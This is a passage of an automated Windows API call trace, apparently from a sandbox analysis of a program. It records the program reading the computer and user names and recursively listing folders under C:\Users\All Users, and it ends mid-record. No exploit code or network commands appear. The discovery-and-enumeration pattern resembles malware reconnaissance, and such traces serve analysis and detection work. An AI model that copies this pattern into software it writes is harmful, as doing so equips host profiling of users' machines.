IUnknown:Release (This=0x77dd58) returned 0x1 [0198.798] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0198.798] CoUninitialize () [0198.798] RoInitialize () returned 0x1 [0198.799] RoUninitialize () returned 0x0 [0200.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\\\.\\DISPLAY1", cchWideChar=12, lpMultiByteStr=0x1db9e410, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\\\.\\DISPLAY1", lpUsedDefaultChar=0x0) returned 12 [0200.965] EnumDisplaySettingsA (in: lpszDeviceName="\\\\.\\DISPLAY1", iModeNum=0xffffffff, lpDevMode=0x1db9e4a8 | out: lpDevMode=0x1db9e4a8) returned 1 [0201.263] GetComputerNameW (in: lpBuffer=0x1db9e360, nSize=0x1db9e688 | out: lpBuffer="XC64ZB", nSize=0x1db9e688) returned 1 [0201.273] GetUserNameW (in: lpBuffer=0x1db9e380, pcbBuffer=0x1db9e6a8 | out: lpBuffer="RDhJ0CNFevzX", pcbBuffer=0x1db9e6a8) returned 1 [0217.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0217.276] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle", lpFilePart=0x0) returned 0x19 [0217.276] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\*" (normalized: "c:\\users\\all users\\oracle\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4af3a5b, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xa4af3a5b, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xa4af3a5b, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5650 [0217.277] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4af3a5b, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xa4af3a5b, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xa4af3a5b, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.277] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4af3a5b, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xa4af3a5b, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xa4af3a5b, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0217.278] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4af3a5b, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xa4af3a5b, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xa4af3a5b, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0217.278] FindClose (in: hFindFile=0x1d1f5650 | out: hFindFile=0x1d1f5650) returned 1 [0217.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9eea0) returned 1 [0217.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ee60) returned 1 [0217.278] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0217.278] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle", lpFilePart=0x0) returned 0x19 [0217.278] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\*" (normalized: "c:\\users\\all users\\oracle\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4af3a5b, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xa4af3a5b, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xa4af3a5b, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5c50 [0217.278] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4af3a5b, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xa4af3a5b, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xa4af3a5b, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.279] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4af3a5b, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xa4af3a5b, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xa4af3a5b, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0217.279] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.279] FindClose (in: hFindFile=0x1d1f5c50 | out: hFindFile=0x1d1f5c50) returned 1 [0217.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9eea0) returned 1 [0217.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ee60) returned 1 [0217.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0217.279] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle\\Java", lpFilePart=0x0) returned 0x1e [0217.279] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\*" (normalized: "c:\\users\\all users\\oracle\\java\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4af3a5b, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xa4af3a5b, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xa4af3a5b, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5c50 [0217.280] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4af3a5b, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xa4af3a5b, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xa4af3a5b, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.280] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4af3a5b, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xab77de3d, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xab77de3d, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="installcache_x64", cAlternateFileName="INSTAL~1")) returned 1 [0217.280] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4af3a5b, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xab77de3d, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xab77de3d, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="installcache_x64", cAlternateFileName="INSTAL~1")) returned 0 [0217.280] FindClose (in: hFindFile=0x1d1f5c50 | out: hFindFile=0x1d1f5c50) returned 1 [0217.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0217.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0217.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0217.280] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle\\Java", lpFilePart=0x0) returned 0x1e [0217.281] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\*" (normalized: "c:\\users\\all users\\oracle\\java\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4af3a5b, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xa4af3a5b, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xa4af3a5b, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5c50 [0217.281] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4af3a5b, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xa4af3a5b, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xa4af3a5b, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.281] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4af3a5b, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xab77de3d, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xab77de3d, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="installcache_x64", cAlternateFileName="INSTAL~1")) returned 1 [0217.281] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.281] FindClose (in: hFindFile=0x1d1f5c50 | out: hFindFile=0x1d1f5c50) returned 1 [0217.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0217.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0217.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9dff0) returned 1 [0217.282] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64", lpFilePart=0x0) returned 0x2f [0217.282] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64\\*" (normalized: "c:\\users\\all users\\oracle\\java\\installcache_x64\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4af3a5b, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xab77de3d, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xab77de3d, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5cb0 [0217.283] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4af3a5b, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xab77de3d, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xab77de3d, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.283] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52d96b3, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xa52d96b3, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xa52d96b3, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x4eba475, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseimagefam8", cAlternateFileName="BASEIM~1")) returned 1 [0217.283] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.283] FindClose (in: hFindFile=0x1d1f5cb0 | out: hFindFile=0x1d1f5cb0) returned 1 [0217.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df20) returned 1 [0217.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9dee0) returned 1 [0217.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9dff0) returned 1 [0217.284] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64", lpFilePart=0x0) returned 0x2f [0217.284] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64\\*" (normalized: "c:\\users\\all users\\oracle\\java\\installcache_x64\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4af3a5b, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xab77de3d, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xab77de3d, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5c50 [0217.284] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4af3a5b, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xab77de3d, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xab77de3d, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.284] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52d96b3, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xa52d96b3, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xa52d96b3, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x4eba475, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseimagefam8", cAlternateFileName="BASEIM~1")) returned 1 [0217.284] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52d96b3, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xa52d96b3, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xa52d96b3, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x4eba475, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseimagefam8", cAlternateFileName="BASEIM~1")) returned 0 [0217.285] FindClose (in: hFindFile=0x1d1f5c50 | out: hFindFile=0x1d1f5c50) returned 1 [0217.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df20) returned 1 [0217.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9dee0) returned 1 [0217.285] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0217.285] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache", lpFilePart=0x0) returned 0x20 [0217.285] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\*" (normalized: "c:\\users\\all users\\package cache\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x387f5bb4, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6be8870b, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6be8870b, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5650 [0217.289] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x387f5bb4, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6be8870b, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6be8870b, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.289] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6505595c, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6505595c, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6505595c, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508", cAlternateFileName="{0FA68~1.285")) returned 1 [0217.290] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496a9699, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x496fd5cd, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x496fd5cd, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", cAlternateFileName="{13A4E~1.210")) returned 1 [0217.290] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6502f6da, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6502f6da, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6502f6da, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508", cAlternateFileName="{2BC3B~1.285")) returned 1 [0217.290] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x387f5bb4, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x387f5bb4, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x387f5bb4, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cAlternateFileName="{33D1F~1")) returned 1 [0217.290] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44fce5b7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x44fdd028, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x44fdd028, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", cAlternateFileName="{37B8F~1.610")) returned 1 [0217.290] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c86d4cb, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c893534, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c893534, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cAlternateFileName="{3C3AA~1")) returned 1 [0217.291] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x64df9047, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x64df9047, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x64df9047, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{65e650ff-30be-469d-b63a-418d71ea1765}", cAlternateFileName="{65E65~1")) returned 1 [0217.291] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69df918b, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x69df918b, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x69df918b, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{6913e92a-b64e-41c9-a5e6-cef39207fe89}", cAlternateFileName="{6913E~1")) returned 1 [0217.291] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69ec09f7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x69ec4518, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x69ec4518, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508", cAlternateFileName="{7D0B7~1.285")) returned 1 [0217.291] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c938406, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c9496c7, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c9496c7, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", cAlternateFileName="{929FB~1.210")) returned 1 [0217.291] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, 